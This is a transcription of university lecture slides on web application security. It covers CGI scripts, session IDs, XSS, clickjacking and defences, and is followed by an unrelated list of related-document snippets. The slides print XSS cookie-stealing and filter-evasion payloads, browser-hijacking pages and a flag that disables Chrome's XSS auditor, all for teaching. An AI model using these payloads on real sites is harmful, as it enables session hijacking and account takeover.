Web Application Exploits
|
|
|
- Job Nichols
- 10 years ago
- Views:
Transcription
1 Monday, November 10, 2014 Resources: see final slide CS342 Computer Security Department of Computer Science Wellesley College Web Evolution o Static content: Server serves web pages created by people. o Dynamic content via server-side code: Server generates web pages based on input from user and a database using code executed on server. E.g., CGI scripts (Perl, Python, PHP, Ruby, Java, ASP, etc.) o Dynamic content via client-side code: Code embedded in web page is executed in browser and can manipulate web page as a data structure (Domain Object Model = DOM). E.g. JavaScript, VBScript, Active X controls, Java applets o AJAX (Asynchronous JavaScript and XML): Framework for updating page by communicating between browser and remote servers Overview of CGI scripts in Python See o CGI scripts can be also be written in PHP, Perl, Ruby, Java, ASP, nodejs, etc. o We ll store data in Linux files, but more typically would use a simple database, such as MySQL Python CGI template #/usr/bin/python import cgi, cgitb; cgitb.enable() # Top-level dispatch for web page request from this site def respondtopagerequest(): # flesh this out for each script # Standard template for debugable web server def main(): print "Content-Type: text/html\n" # Print the HTML header try: # Invoke the page request handler to print the rest of the page respondtopagerequest() except: print "<hr><h1>a Python Error occurred</h1>" cgi.print_exception() # Start the script main()
2 timeserver.cgi import datetime def respondtopagerequest(): # Standard calendar info months = ["ignore", "January", "February", "March", "April, "May", "June,"July", "August", "September", "October", "November", "December"] weekdays = ["Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday ] now = datetime.datetime.now() print "At Wellesley College it is # Print the date: print weekdays[now.weekday()] + ", " + months[now.month] + " " + str(now.day) print "and the time is # Print the time: print str(now.hour) + ":" + str(now.minute) + ":" + str(now.second) # print("foo" + 2) # Uncomment this to see error handling Running script vs. viewing script hello.cgi: A script with inputs Passing inputs to hello.cgi via HTTP GET def respondtopagerequest(): # Create instance of FieldStorage form = cgi.fieldstorage() # Get data from fields first_name = form.getvalue('first_name') last_name = form.getvalue('last_name') Contents of hello_get.html <form action="hello.cgi" method="get"> First Name: <input type="text" name="first_name"><br> Last Name: <input type="text" name="last_name"><br> <input type="submit" value="submit"> </form> Form displayed by hello_get.html print "<html>" print " <body>" print " <h1>hello, %s %s</h1>" % (first_name, last_name) print " </body>" print "</html>" Page that results from submitting form Inputs passed in URL
!["December"] weekdays = ["Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday ] now = datetime.datetime.now() print "At Wellesley College it is # Print the date: print weekdays[now.](/docs-images/42/15080877/images/page_2.jpg "weekday()] + \", \" + months[now.month] + \" \" + str(now.day) print \"and the time is # Print the time: print str(now.hour) + \":\" + str(now.minute) + \":\" + str(now.")
3 Passing inputs to hello.cgi via HTTP POST Contents of hello_post.html <form action="hello.cgi" method= post"> First Name: <input type="text" name="first_name"><br> Last Name: <input type="text" name="last_name"><br> <input type="submit" value="submit"> </form> Code injection in hello.cgi (in Firefox) Form displayed by hello_post.html Page that results from submitting form Inputs passed in request, not in URL Disabling XSS Auditor in Chrome The example from the previous slide will not normally work in Chrome due to anti-xss filter implemented by its XSS Auditor. For experimentation purposes, you can turn it off as follows*: o Windows: "C:\Documents and Settings\USERNAME\Local Settings \Application Data\Google\Chrome\Application\chrome.exe" -- disable-xss-auditor CS342 CGI utilities o debug.cgi: displays key-value inputs from HTTP request, as well as all environment variable bindings o view-form.cgi: for displaying source code of CGI script rather than running it. o Mac: /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --disable-xss-auditor o GNU/Linux: /opt/google/chrome/google-chrome --disable-xssauditor Also, there are various ways to fool XSS Auditor; Google Chrome XSS for many exploits. *
4 CS342 Guess The Color Game o Client-only version (guess-color-client.html): color stored in HTML file, checked by local JavaScript, no need for a server. But color not secret o Simple server versions (serve whole pages): Page template guess-color-server-template.html is filled in and served by guess-color.cgi, which has variable secretcolor. guess-color-server-hidden-template.html/guess-colorhidden.cgi are similar, except color stored in file secretcolor.txt readable only by cs342. o AJAX version: guess-color-ajax.html sends HTTP POST request with color to server guess-color-ajax.cgi, which just returns True or False. Local JavaScript just changes feedbackelement. Session examples: CS342 HiLo Game o Sessions via hidden field: Server hilo-hidden-field.cgi generates sessionid, and uses it to fill in hiddensessionid field in template file hilo-hidden-field-template.html. Subsequent interactions keep hiddensessionid. o Sessions via cookie: Server hilo-cookie.cgi generates hilosessionid and sets it as cookie in response. Subsequent requests from client include hilosessionid as cookie Cookies for Session IDs Attack Surface Web applications have a large attack surface = places that might contain vulnerabilities that can be exploited. A vault with a single guarded door is easier to secure than a building with many doors and windows. o Client side surface: form inputs (including hidden fields), cookies, headers, query parameters, uploaded files, mobile code o Server attack surface: web service methods, databases o AJAX attack surface: union of the above
5 What is Mobile Code? Mobile code is a lightweight program that is downloaded from a remote system and executed locally with minimal or no user intervention. (Skoudis, p. 117) Web Browser Examples: JavaScript scripts (we ll focus on this) Java applets ActiveX controls Visual Basic Scripts Now can be heavyweight. E.g. App Inventor is 150K lines of JavaScript Browser plugins (e.g., Flash, Silverlight, PDF reader, etc.) software processing HTML-formatted messages can also execute embedded JavaScript, VBScript, etc. code. These days: HTML 5/CSS/JavaScript do amazing things in browser Malicious Mobile Code Malicious mobile code is mobile code that makes your system do something that you do not want it to do. (Skoudis, p. 118) Examples: Monitor your browsing activities Obtain unauthorized access to your file system. Infect your machine with malware Hijack web browser to visit sites you did not intend to visit Key problem: running code of someone you don t trust on your computer without safety & behavioral guarantees JavaScript Exploit: Resource Exhaustion Example from Skoudis Malware (p. 121). Attacker puts this web page on his website and victim browses it. <-- Contents of file exploit.html --> <html> <head> <script type= text/javascript > function exploit() { while (1){ showmodelessdialog( exploit.html ); } } </script> <title>good-bye</title> </head> <body onload= exploit() > Aren t you sorry you came here? </body> </html> JavaScript Exploit: Browser Hijacking Abuse browser controls to interfere with user s browsing experience. o Try to prevent user from leaving current web page: <-- Contents of file trap.html (Skoudis, p. 123) --> <html> <head><title>don t leave me</title></head> <body onload= window.open( trap.html ) >You re trapped</body> </html> o Resize browser to full screen. o Create windows that cover other parts of screen that attacker wants to hide. o Redirect browser to unwanted sites. o Add bookmarks without authorization (even if prompted, users will often click OK) o Monitor user s browsing habits
6 JavaScript: Validation Exploit Suppose a JavaScript program applies input validation to the HiLo game number input, to guarantee that it s an integer between 0 and 100. Can the CGI script assume that the number is properly validated? Session IDs As seen in HiLo game, often useful to have session IDs: o Implements state in otherwise stateless HTTP protocol, over multiple requests in single session or even over several sessions. o Typical pattern: o 1. user authenticates to server once with username and password 2. server creates sessionid associated with authenticated user, and stores in cookie or hidden field sent to user s browser. 3. user s browser supplies sessionid in future requests, allowing server to identify user without re-authenticating. Key problem: anyone with your sessionid can pretend to be you, with potentially disastrous financial/social consequences Session ID Stealing How can someone steal someone else s sessionid? o Might be easily guessable: Constructed from public information: gdome Based on sequence number or time stamp Random ID whose random seed is guessable (e.g. current time) o Use packet sniffing of to see sessionid embedded in HTTP request. o Use browser implementation bugs to access information that shouldn t be accessible o Cross-site scripting (XSS, more below) Browser Implementation Bugs Normally, a cookie should only be viewable to the domain that set it. But browser implementations sometimes have bugs that allow cookies to be read by other domains, allowing session ID stealing. o Internet Explorer 5.01 (2000): attacker can read victim s cookies when victim clicks on URL: fails: succeeds: or even without clicking (via JavaScript in invisible in-line frame) document.location= vulnerable URL o Mozilla & Opera (2002): Javascript in URL could provide access to any cookie via javascript: URLS
7 Cross-Site Scripting (XSS): Reflection Vulnerable site reflects user input in HTML without sanitizing. E.g., a site with search capability that reflects search term: print( Your search for + form[ query ].value + has the following hits ) <HTML> <BODY> Your search for buggles has the following hits: </BODY> </HTML> XSS: Reflecting a Script <script>alert(document.cookie);</script>buggles print( Your search for + form[ query ].value + has the following hits ) <HTML> <BODY> Your search for <script>alert(document.cookie); </script>buggles has the following hits: </BODY> </HTML> Just an instance of code injection So what? Big deal I can see my own cookies XSS: Reflection Attack XSS Reflection Attack Diagram 1. Attacker fashions URL with cookie-stealing script (that transmits victim s cookies to attacker) to vulnerable web site with (1) session IDs and (2) improper HTML sanitization. {cookie-stealing script goes here}buggles 2. Attacker tricks victim into following cookie-stealing URL: o Sends victim or form with URL o Posts URL on discussion forum read by victims o Embeds URL in a third-party site, perhaps in an invisible in-line frame (iframe) where it is silently followed. 3. Attacker uses stolen cookies to impersonate victim (Picture from Skoudis, p. 134) 19-28
![store.com/search.cgi?query= <script>alert(document.cookie);</script>buggles print( Your search for + form[ query ].](/docs-images/42/15080877/images/page_7.jpg "value + has the following hits ) <HTML> <BODY> Your search for <script>alert(document.cookie); </script>buggles has the following hits: </BODY> </HTML> Just an instance of code injection So what?")
8 XSS: Stored Attack 1. Attacker posts infected message containing cookie-stealing script on site with user HTML contributions and improper HTML sanitization. E.g. (from Skoudis, p. 135): <script type= text/javascript > document.write( <iframe src= + document.cookie + width=0 height=0></iframe> ); </script> How Common is XSS? We re entering a time when XSS has become the new Buffer Overflow and JavaScript Malware is the new shellcode. -- Jeremiah Grossman 2. Any user reading infected message will have cookies stolen. Particularly bad if user has administrative privileges. Skoudis webcast-with-comments story. 3. Attacker uses stolen cookies to impersonate victim This week s lab: Gruyere (practice with web exploits) XSS Defense: Server-Side Filtering o Filter out scripting code from user input Problem: many ways to inject scripting code; just filtering <script>. </script> isn t good enough Examples from Skoudis: <img src="" onerror="alert(document.cookie)"> <br style="width:expression(alert(document.cookie))"> <div onmouseover='alert(document.cookie) '> </div> <img src=javascript:alert(document.cookie)> <iframe src="vbscript:alert(document.cookie)"></iframe> <body onload="alert(document.cookie)"> <meta http-equiv="refresh" content="0;url= javascript:alert(document.cookie)"> o Filter/transform special character from user input: E.g. <html> >html<
9 Input Sanitization: Blacklist vs. Whitelist A blacklist prohibits inputs matching certain patterns. A whitelist only allows inputs matching certain patterns. Which approach is safer? XSS Defense: Client-Side o Never browse web as root Then browser runs as root and injected scripts run as root as well o Turn off JavaScript, ActiveX Controls, etc. But then lose functionality o Use the noscript plugin (Firefox): fine-grained scripting control, reports clickjacking JavaScript Exploit: Clickjacking Vulnerability: can cause an invisible iframe whose target is a button on site A to follow mouse on site B. Attempts to click on site B are interpreted as a click to the site A button. Examples: Privacy: Web Bugs Web bugs reveal private information about users. E.g., very small images: <img width=1 height=1 src= > o Change security settings to be permissive o Enable computer cameras & microphones (Adobe Flash) o Make bogus order from ecommerce site. o Click fraud
10 SQL Injection SQL injection is another popular code injection exploit of vulnerable web applications that do not use proper sanitization techniques. For coverage of this topic, I defer to Engin Kirda s slides from the Oct. 10, 2012, CTF Web Security Training seminar at MIT. MITLLCTF/Lecture+Slides Security Policies Mitigating Malicious Mobile Code o Browser Cookie policy: Browsers only send cookies to appropriate domain. E.g. attacker.com can t normally see amazon.com s cookies from your browser. However, can be thwarted by browser bugs and XSS. o JavaScript s Same Origin Policy (SOP): AJAX can only communicate with domain that is the source of AJAX code. No direct access to local file system or most of network (except source of code) -- executed in sandbox. Can be violated by Cross Origin Resource Sharing (CORS) or exploits on implementation bugs. o Chrome s Content Security Policy (CSP) for extensions: Enforced HTML/JavaScript coding style that avoids many XSS and other exploits The Dancing Pigs Problem Given a choice between dancing pigs and security, users will pick dancing pigs every time. Felten & McGraw, Securing Java Resources o Robert Hansen & Jeremiah Grossman, Clickjacking. Sep. 12, o Billy Hoffman and Bryan Sullivan, AJAX Security, Pearson Education Inc., o Martin Johns. On JavaScript Malware and Related Threats. Journal of Computer Virology, o Engin Kirda CTF Web Security Training, slides from Oct. 10, 2012 CTF talk at MIT. o Gary McGraw and Edward Felten. Securing Java: Getting Down to Business with Mobile Code. Willey, o Ed Skoudis, Malware: Fighting Malicious Code, Prentice Hall, 2004, Ch. 4, Malicious Mobile Code. o Bruce Leban, Mugdha Bendre, & Parisa Tabriz, and Defenses, Gruyere codelab at
Attacks on Clients: Dynamic Content & XSS
Software and Web Security 2 Attacks on Clients: Dynamic Content & XSS (Section 7.1.3 on JavaScript; 7.2.4 on Media content; 7.2.6 on XSS) sws2 1 Recap from last lecture Attacks on web server: attacker/client
A Tale of the Weaknesses of Current Client-Side XSS Filtering
Call To Arms: A Tale of the Weaknesses of Current Client-Side XSS Filtering Martin Johns, Ben Stock, Sebastian Lekies About us Martin Johns, Ben Stock, Sebastian Lekies Security Researchers at SAP, Uni
Web Application Security
Web Application Security John Zaharopoulos ITS - Security 10/9/2012 1 Web App Security Trends Web 2.0 Dynamic Webpages Growth of Ajax / Client side Javascript Hardening of OSes Secure by default Auto-patching
A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith
A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications Slides by Connor Schnaith Cross-Site Request Forgery One-click attack, session riding Recorded since 2001 Fourth out of top 25 most
A Tale of the Weaknesses of Current Client-side XSS Filtering
A Tale of the Weaknesses of Current Client-side XSS Filtering Sebastian Lekies (@sebastianlekies), Ben Stock (@kcotsneb) and Martin Johns (@datenkeller) Attention hackers! These slides are preliminary!
Project 2: Web Security Pitfalls
EECS 388 September 19, 2014 Intro to Computer Security Project 2: Web Security Pitfalls Project 2: Web Security Pitfalls This project is due on Thursday, October 9 at 6 p.m. and counts for 8% of your course
Web Application Security Considerations
Web Application Security Considerations Eric Peele, Kevin Gainey International Field Directors & Technology Conference 2006 May 21 24, 2006 RTI International is a trade name of Research Triangle Institute
Next Generation Clickjacking
Next Generation Clickjacking New attacks against framed web pages Black Hat Europe, 14 th April 2010 Paul Stone [email protected] Coming Up Quick Introduction to Clickjacking Four New Cross-Browser
1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications
1. Introduction 2. Web Application 3. Components 4. Common Vulnerabilities 5. Improving security in Web applications 2 What does World Wide Web security mean? Webmasters=> confidence that their site won
SUBJECT CODE : 4074 PERIODS/WEEK : 4 PERIODS/ SEMESTER : 72 CREDIT : 4 TIME SCHEDULE UNIT TOPIC PERIODS 1. INTERNET FUNDAMENTALS & HTML Test 1
SUBJECT TITLE : WEB TECHNOLOGY SUBJECT CODE : 4074 PERIODS/WEEK : 4 PERIODS/ SEMESTER : 72 CREDIT : 4 TIME SCHEDULE UNIT TOPIC PERIODS 1. INTERNET FUNDAMENTALS & HTML Test 1 16 02 2. CSS & JAVASCRIPT Test
Network Security Web Security
Network Security Web Security Anna Sperotto, Ramin Sadre Design and Analysis of Communication Systems Group University of Twente, 2012 Cross Site Scripting Cross Side Scripting (XSS) XSS is a case of (HTML)
Check list for web developers
Check list for web developers Requirement Yes No Remarks 1. Input Validation 1.1) Have you done input validation for all the user inputs using white listing and/or sanitization? 1.2) Does the input validation
Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011
Creating Stronger, Safer, Web Facing Code JPL IT Security Mary Rivera June 17, 2011 Agenda Evolving Threats Operating System Application User Generated Content JPL s Application Security Program Securing
JavaScript By: A. Mousavi & P. Broomhead SERG, School of Engineering Design, Brunel University, UK
Programming for Digital Media EE1707 JavaScript By: A. Mousavi & P. Broomhead SERG, School of Engineering Design, Brunel University, UK 1 References and Sources 1. DOM Scripting, Web Design with JavaScript
Advanced Web Technology 10) XSS, CSRF and SQL Injection 2
Berner Fachhochschule, Technik und Informatik Advanced Web Technology 10) XSS, CSRF and SQL Injection Dr. E. Benoist Fall Semester 2010/2011 Table of Contents Cross Site Request Forgery - CSRF Presentation
Web-Application Security
Web-Application Security Kristian Beilke Arbeitsgruppe Sichere Identität Fachbereich Mathematik und Informatik Freie Universität Berlin 29. Juni 2011 Overview Web Applications SQL Injection XSS Bad Practice
Cross Site Scripting Prevention
Project Report CS 649 : Network Security Cross Site Scripting Prevention Under Guidance of Prof. Bernard Menezes Submitted By Neelamadhav (09305045) Raju Chinthala (09305056) Kiran Akipogu (09305074) Vijaya
Recommended Practice Case Study: Cross-Site Scripting. February 2007
Recommended Practice Case Study: Cross-Site Scripting February 2007 iii ACKNOWLEDGEMENT This document was developed for the U.S. Department of Homeland Security to provide guidance for control system cyber
OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair dave.wichers@owasp.
and Top 10 (2007 Update) Dave Wichers The Foundation Conferences Chair [email protected] COO, Aspect Security [email protected] Copyright 2007 - The Foundation This work is available
The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.
This sample report is published with prior consent of our client in view of the fact that the current release of this web application is three major releases ahead in its life cycle. Issues pointed out
Hack Proof Your Webapps
Hack Proof Your Webapps About ERM About the speaker Web Application Security Expert Enterprise Risk Management, Inc. Background Web Development and System Administration Florida International University
Cyber Security Workshop Ethical Web Hacking
Cyber Security Workshop Ethical Web Hacking May 2015 Setting up WebGoat and Burp Suite Hacking Challenges in WebGoat Concepts in Web Technologies and Ethical Hacking 1 P a g e Downloading WebGoat and Burp
What is Web Security? Motivation
[email protected] http://www.brucker.ch/ Information Security ETH Zürich Zürich, Switzerland Information Security Fundamentals March 23, 2004 The End Users View The Server Providers View What is Web
Analysis of Browser Defenses against XSS Attack Vectors
Analysis of Browser Defenses against XSS Attack Vectors Shital Dhamal Department of Computer Engineering Lokmanya Tilak College of Engineering Koparkhairne,Navi Mumbai,Maharashtra,India Manisha Mathur
CTF Web Security Training. Engin Kirda [email protected]
CTF Web Security Training Engin Kirda [email protected] Web Security Why It is Important Easiest way to compromise hosts, networks and users Widely deployed ( payload No Logs! (POST Request Difficult to defend
Web Application Guidelines
Web Application Guidelines Web applications have become one of the most important topics in the security field. This is for several reasons: It can be simple for anyone to create working code without security
Introduction to Computer Security
Introduction to Computer Security Web Application Security Pavel Laskov Wilhelm Schickard Institute for Computer Science Modern threat landscape The majority of modern vulnerabilities are found in web
Advanced XSS. Nicolas Golubovic
Advanced XSS Nicolas Golubovic Image courtesy of chanpipat / FreeDigitalPhotos.net Today's menu 1. Starter: reboiled XSS 2. Course: spicy blacklists & filters 3. Course: sweet content sniffing 4. Course:
Last update: February 23, 2004
Last update: February 23, 2004 Web Security Glossary The Web Security Glossary is an alphabetical index of terms and terminology relating to web application security. The purpose of the Glossary is to
Detecting and Exploiting XSS with Xenotix XSS Exploit Framework
Detecting and Exploiting XSS with Xenotix XSS Exploit Framework [email protected] keralacyberforce.in Introduction Cross Site Scripting or XSS vulnerabilities have been reported and exploited since 1990s.
The Top Web Application Attacks: Are you vulnerable?
QM07 The Top Web Application Attacks: Are you vulnerable? John Burroughs, CISSP Sr Security Architect, Watchfire Solutions [email protected] Agenda Current State of Web Application Security Understanding
How To Understand The History Of The Web (Web)
(World Wide) Web WWW A way to connect computers that provide information (servers) with computers that ask for it (clients like you and me) uses the Internet, but it's not the same as the Internet URL
ECE458 Winter 2013. Web Security. Slides from John Mitchell and Vitaly Shmatikov (Modified by Vijay Ganesh)
ECE458 Winter 2013 Web Security Slides from John Mitchell and Vitaly Shmatikov (Modified by Vijay Ganesh) Reported Web Vulnerabilities "In the Wild" Data from aggregator and validator of NVD-reported vulnerabilities
Thomas Röthlisberger IT Security Analyst [email protected]
Thomas Röthlisberger IT Security Analyst [email protected] Compass Security AG Werkstrasse 20 Postfach 2038 CH-8645 Jona Tel +41 55 214 41 60 Fax +41 55 214 41 61 [email protected] www.csnc.ch What
Exploits: XSS, SQLI, Buffer Overflow
Exploits: XSS, SQLI, Buffer Overflow These vulnerabilities continue to result in many active exploits. XSS Cross Site Scripting, comparable to XSRF, Cross Site Request Forgery. These vulnerabilities are
Secure Coding. External App Integrations. Tim Bach Product Security Engineer salesforce.com. Astha Singhal Product Security Engineer salesforce.
Secure Coding External App Integrations Astha Singhal Product Security Engineer salesforce.com Tim Bach Product Security Engineer salesforce.com Safe Harbor Safe harbor statement under the Private Securities
Webapps Vulnerability Report
Tuesday, May 1, 2012 Webapps Vulnerability Report Introduction This report provides detailed information of every vulnerability that was found and successfully exploited by CORE Impact Professional during
CIS 551 / TCOM 401 Computer and Network Security. Spring 2007 Lecture 20
CIS 551 / TCOM 401 Computer and Network Security Spring 2007 Lecture 20 Announcements Reminder: Project 3 is available on the web pages Due: April 3rd Midterm II has been graded Today: Web Security [Some
Web Application Security
Web Application Security The OWASP Foundation Securing the application Input validation Authorization Session mgmt Config mgmt Authenticatio n Error handling Web server App server DB server Secure storage
Login with Amazon. Getting Started Guide for Websites. Version 1.0
Login with Amazon Getting Started Guide for Websites Version 1.0 Login with Amazon: Getting Started Guide for Websites Copyright 2016 Amazon Services, LLC or its affiliates. All rights reserved. Amazon
HTML5. Eoin Keary CTO BCC Risk Advisory. www.bccriskadvisory.com www.edgescan.com
HTML5 Eoin Keary CTO BCC Risk Advisory www.bccriskadvisory.com www.edgescan.com Where are we going? WebSockets HTML5 AngularJS HTML5 Sinks WebSockets: Full duplex communications between client or server
Recent Advances in Web Application Security
Recent Advances in Web Application Security Author: Neelay S Shah Principal Security Consultant Foundstone Professional Services Table of Contents Introduction 3 Content Security Policy 3 Best Practices
Cross-Site Scripting
Cross-Site Scripting (XSS) Computer and Network Security Seminar Fabrice Bodmer ([email protected]) UNIFR - Winter Semester 2006-2007 XSS: Table of contents What is Cross-Site Scripting (XSS)? Some
Intrusion detection for web applications
Intrusion detection for web applications Intrusion detection for web applications Łukasz Pilorz Application Security Team, Allegro.pl Reasons for using IDS solutions known weaknesses and vulnerabilities
Enterprise Application Security Workshop Series
Enterprise Application Security Workshop Series Phone 877-697-2434 fax 877-697-2434 www.thesagegrp.com Defending JAVA Applications (3 Days) In The Sage Group s Defending JAVA Applications workshop, participants
Cross Site Scripting (XSS) Exploits & Defenses. OWASP Denver, Colorado USA. The OWASP Foundation. David Campbell Eric Duprey. http://www.owasp.
Cross Site Scripting (XSS) Exploits & Defenses Denver, Colorado USA David Campbell Eric Duprey Copyright 2007 The Foundation Permission is granted to copy, distribute and/or modify this document under
Introduction. Buffer Overflow. SQL Injection. Cross-Site Scripting. Software Security I. Overview. Source: SearchsoftwareQuality.techtarget.
Overview Introduction Buffer Overflow SQL Injection Cross-Site Scripting Source: SearchsoftwareQuality.techtarget.com Introduction Some of the most common and widely exploited software vulnerabilities
Exploitation of Cross-Site Scripting (XSS) Vulnerability on Real World Web Applications and its Defense
Exploitation of Cross-Site Scripting (XSS) Vulnerability on Real World Web Applications and its Defense Shashank Gupta Lecturer in Department of Information Technology, Model Institute of Engineering and
Relax Everybody: HTML5 Is Securer Than You Think
Relax Everybody: HTML5 Is Securer Than You Think Martin Johns (@datenkeller) SAP AG Session ID: ADS-W08 Session Classification: Advanced Motivation For some reason, there is a preconception that HTML5
Understanding Cross Site Scripting
Understanding Cross Site Scripting Hardik Shah Understanding cross site scripting attacks Introduction: there are many techniques which a intruder can use to compromise the webapplications. one such techniques
Preparing for the Cross Site Request Forgery Defense
Preparing for the Cross Site Request Forgery Defense Chuck Willis [email protected] Black Hat DC 2008 February 20, 2008 About Me Principal Consultant with MANDIANT in Alexandria, VA Full spectrum
Secure Web Development Teaching Modules 1. Threat Assessment
Secure Web Development Teaching Modules 1 Threat Assessment Contents 1 Concepts... 1 1.1 Software Assurance Maturity Model... 1 1.2 Security practices for construction... 3 1.3 Web application security
Security starts in the head(er)
Security starts in the head(er) JavaOne 2014 Dominik Schadow bridgingit Policies are independent of framework and language response.addheader(! "Policy name",! "Policy value"! ); User agent must understand
Client Side Filter Enhancement using Web Proxy
Client Side Filter Enhancement using Web Proxy Santosh Kumar Singh 1, Rahul Shrivastava 2 1 M Tech Scholar, Computer Technology (CSE) RCET, Bhilai (CG) India, 2 Assistant Professor, CSE Department, RCET
Application Security Testing. Erez Metula (CISSP), Founder Application Security Expert [email protected]
Application Security Testing Erez Metula (CISSP), Founder Application Security Expert [email protected] Agenda The most common security vulnerabilities you should test for Understanding the problems
JavaScript Basics & HTML DOM. Sang Shin Java Technology Architect Sun Microsystems, Inc. [email protected] www.javapassion.com
JavaScript Basics & HTML DOM Sang Shin Java Technology Architect Sun Microsystems, Inc. [email protected] www.javapassion.com 2 Disclaimer & Acknowledgments Even though Sang Shin is a full-time employee
Finding XSS in Real World
Finding XSS in Real World by Alexander Korznikov [email protected] 1 April 2015 Hi there, in this tutorial, I will try to explain how to find XSS in real world, using some interesting techniques. All
Gateway Apps - Security Summary SECURITY SUMMARY
Gateway Apps - Security Summary SECURITY SUMMARY 27/02/2015 Document Status Title Harmony Security summary Author(s) Yabing Li Version V1.0 Status draft Change Record Date Author Version Change reference
Web application security
Web application security Sebastian Lopienski CERN Computer Security Team openlab and summer lectures 2010 (non-web question) Is this OK? int set_non_root_uid(int uid) { // making sure that uid is not 0
Ruby on Rails Secure Coding Recommendations
Introduction Altius IT s list of Ruby on Rails Secure Coding Recommendations is based upon security best practices. This list may not be complete and Altius IT recommends this list be augmented with additional
Web Tracking for You. Gregory Fleischer
Web Tracking for You Gregory Fleischer 1 INTRODUCTION 2 Me Gregory Fleischer Senior Security Consultant at FishNet Security 3 Disclaimer Why do you hate? 4 Reasons For Tracking TradiFonal reasons for tracking
Document Structure Integrity: A Robust Basis for Cross-Site Scripting Defense
Document Structure Integrity: A Robust Basis for Cross-Site Scripting Defense Yacin Nadji Illinois Institute Of Technology Prateek Saxena UC Berkeley Dawn Song UC Berkeley 1 A Cross-Site Scripting Attack
Web Application Vulnerabilities and Avoiding Application Exposure
Web Application Vulnerabilities and Avoiding Application Exposure The introduction of BIG-IP Application Security Manager (ASM) version 9.4.2 marks a major step forward. BIG-IP ASM now offers more features
Method of control. Lots of ways to architect C&C: Star topology; hierarchical; peer-to-peer Encrypted/stealthy communication.
Botnets Botnets Collection of compromised machines (bots) under (unified) control of an attacker (botmaster) Upon infection, new bot phones home to rendezvous w/ botnet command-and-control (C&C) Botmaster
Web Application Security
Web Application Security A Beginner's Guide Bryan Sullivan Vincent Liu Mc r New York Chicago San Francisco Lisbon London Madrid Mexico City Milan New Delhi San Juan Seoul Singapore Sydney Toronto Contents
Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security
Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security Presented 2009-05-29 by David Strauss Thinking Securely Security is a process, not
Acunetix Website Audit. 5 November, 2014. Developer Report. Generated by Acunetix WVS Reporter (v8.0 Build 20120808)
Acunetix Website Audit 5 November, 2014 Developer Report Generated by Acunetix WVS Reporter (v8.0 Build 20120808) Scan of http://filesbi.go.id:80/ Scan details Scan information Starttime 05/11/2014 14:44:06
Protection, Usability and Improvements in Reflected XSS Filters
Protection, Usability and Improvements in Reflected XSS Filters Riccardo Pelizzi System Security Lab Department of Computer Science Stony Brook University May 2, 2012 1 / 19 Riccardo Pelizzi Improvements
Criteria for web application security check. Version 2015.1
Criteria for web application security check Version 2015.1 i Content Introduction... iii ISC- P- 001 ISC- P- 001.1 ISC- P- 001.2 ISC- P- 001.3 ISC- P- 001.4 ISC- P- 001.5 ISC- P- 001.6 ISC- P- 001.7 ISC-
Nuclear Regulatory Commission Computer Security Office Computer Security Standard
Nuclear Regulatory Commission Computer Security Office Computer Security Standard Office Instruction: Office Instruction Title: CSO-STD-1108 Web Application Standard Revision Number: 1.0 Effective Date:
What about MongoDB? can req.body.input 0; var date = new Date(); do {curdate = new Date();} while(curdate-date<10000)
Security What about MongoDB? Even though MongoDB doesn t use SQL, it can be vulnerable to injection attacks db.collection.find( {active: true, $where: function() { return obj.credits - obj.debits < req.body.input;
EECS 398 Project 2: Classic Web Vulnerabilities
EECS 398 Project 2: Classic Web Vulnerabilities Revision History 3.0 (October 27, 2009) Revise CSRF attacks 1 and 2 to make them possible to complete within the constraints of the project. Clarify that
<Insert Picture Here>
פורום BI 21.5.2013 מה בתוכנית? בוריס דהב Embedded BI Column Level,ROW LEVEL SECURITY,VPD Application Role,security טובית לייבה הפסקה OBIEE באקסליבריס נפתלי ליברמן - לימור פלדל Actionable
Web Security. Crypto (SSL) Client security Server security 2 / 40. Web Security. SSL Recent Changes in TLS. Protecting the Client.
1 / 40 Crypto () Client security Server security 2 / 40 Trusting The Server s Client SET The Failure of SET Aside: The SET Root Certificate The Client s Server Who Issues Web Certificates? Mountain America
How to Make a Working Contact Form for your Website in Dreamweaver CS3
How to Make a Working Contact Form for your Website in Dreamweaver CS3 Killer Contact Forms Dreamweaver Spot With this E-Book you will be armed with everything you need to get a Contact Form up and running
Credits: Some of the slides are based on material adapted from www.telerik.com/documents/telerik_and_ajax.pdf
1 The Web, revisited WEB 2.0 [email protected] Credits: Some of the slides are based on material adapted from www.telerik.com/documents/telerik_and_ajax.pdf 2 The old web: 1994 HTML pages (hyperlinks)
Security Model for the Client-Side Web Application Environments
Security Model for the Client-Side Web Application Environments May 24, 2007 Sachiko Yoshihama, Naohiko Uramoto, Satoshi Makino, Ai Ishida, Shinya Kawanaka, and Frederik De Keukelaere IBM Tokyo Research
CS 155 Final Exam. CS 155: Spring 2013 June 11, 2013
CS 155: Spring 2013 June 11, 2013 CS 155 Final Exam This exam is open book and open notes. You may use course notes and documents that you have stored on a laptop, but you may NOT use the network connection
Web Application Hacking (Penetration Testing) 5-day Hands-On Course
Web Application Hacking (Penetration Testing) 5-day Hands-On Course Web Application Hacking (Penetration Testing) 5-day Hands-On Course Course Description Our web sites are under attack on a daily basis
National Information Security Group The Top Web Application Hack Attacks. Danny Allan Director, Security Research
National Information Security Group The Top Web Application Hack Attacks Danny Allan Director, Security Research 1 Agenda Web Application Security Background What are the Top 10 Web Application Attacks?
CS 558 Internet Systems and Technologies
CS 558 Internet Systems and Technologies Dimitris Deyannis [email protected] 881 Heat seeking Honeypots: Design and Experience Abstract Compromised Web servers are used to perform many malicious activities.
Chapter 1 Web Application (In)security 1
Introduction xxiii Chapter 1 Web Application (In)security 1 The Evolution of Web Applications 2 Common Web Application Functions 4 Benefits of Web Applications 5 Web Application Security 6 "This Site Is
ArcGIS Server Security Threats & Best Practices 2014. David Cordes Michael Young
